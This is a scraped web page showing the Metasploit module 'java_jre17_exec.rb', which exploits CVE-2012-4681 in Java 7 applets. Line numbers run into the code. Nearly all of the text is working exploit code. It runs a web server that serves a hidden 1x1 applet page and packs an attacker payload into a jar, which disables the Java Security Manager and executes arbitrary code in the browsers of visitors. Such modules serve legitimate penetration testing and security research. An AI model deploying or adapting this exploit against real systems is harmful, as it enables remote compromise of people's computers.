Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/java_jre17_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910#include Msf::Exploit::Remote::BrowserAutopwn11#autopwn_info({ :javascript => false })1213def initialize( info = {} )14super( update_info( info,15'Name' => 'Java 7 Applet Remote Code Execution',16'Description' => %q{17The exploit takes advantage of two issues in JDK 7: The ClassFinder and18MethodFinder.findMethod(). Both were newly introduced in JDK 7. ClassFinder is a19replacement for classForName back in JDK 6. It allows untrusted code to obtain a20reference and have access to a restricted package in JDK 7, which can be used to21abuse sun.awt.SunToolkit (a restricted package). With sun.awt.SunToolkit, we can22actually invoke getField() by abusing findMethod() in Statement.invokeInternal()23(but getField() must be public, and that's not always the case in JDK 6) in order24to access Statement.acc's private field, modify AccessControlContext, and then25disable Security Manager. Once Security Manager is disabled, we can execute26arbitrary Java code.2728Our exploit has been tested successfully against multiple platforms, including:29IE, Firefox, Safari, Chrome; Windows, Ubuntu, OS X, Solaris, etc.30},31'License' => MSF_LICENSE,32'Author' =>33[34'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisory35'James Forshaw', # Vulnerability discovery according to Oracle's advisory36'jduck', # metasploit module37'sinn3r', # metasploit module38'juan vazquez' # metasploit module39],40'References' =>41[42[ 'CVE', '2012-4681' ],43[ 'OSVDB', '84867' ],44[ 'URL', 'http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html' ],45[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html' ],46[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/new-java-0day-exploited-in-the-wild/' ],47[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html' ],48[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html' ],49[ 'URL', 'https://www.rapid7.com/blog/post/2012/08/27/lets-start-the-week-with-a-new-java-0day' ],50[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=852051']51],52'Platform' => %w{ java linux win },53'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },54'Targets' =>55[56[ 'Generic (Java Payload)',57{58'Arch' => ARCH_JAVA,59'Platform' => 'java'60}61],62[ 'Windows Universal',63{64'Arch' => ARCH_X86,65'Platform' => 'win'66}67],68[ 'Linux x86',69{70'Arch' => ARCH_X86,71'Platform' => 'linux'72}73]74],75'DefaultTarget' => 0,76'DisclosureDate' => '2012-08-26'77))78end798081def on_request_uri( cli, request )8283if not request.uri.match(/\.jar$/i)84if not request.uri.match(/\/$/)85send_redirect(cli, get_resource() + '/', '')86return87end8889print_status("#{self.name} handling request")9091send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )92return93end9495paths = [96[ "Exploit.class" ]97]9899p = regenerate_payload(cli)100101jar = p.encoded_jar102paths.each do |path|1031.upto(path.length - 1) do |idx|104full = path[0,idx].join("/") + "/"105if !(jar.entries.map{|e|e.name}.include?(full))106jar.add_file(full, '')107end108end109fd = File.open(File.join( Msf::Config.data_directory, "exploits", "CVE-2012-4681", path ), "rb")110data = fd.read(fd.stat.size)111jar.add_file(path.join("/"), data)112fd.close113end114115print_status("Sending Applet.jar")116send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )117118handler( cli )119end120121def generate_html122html = "<html><head></head>"123html += "<body>"124html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"125html += "</applet></body></html>"126return html127end128end129130131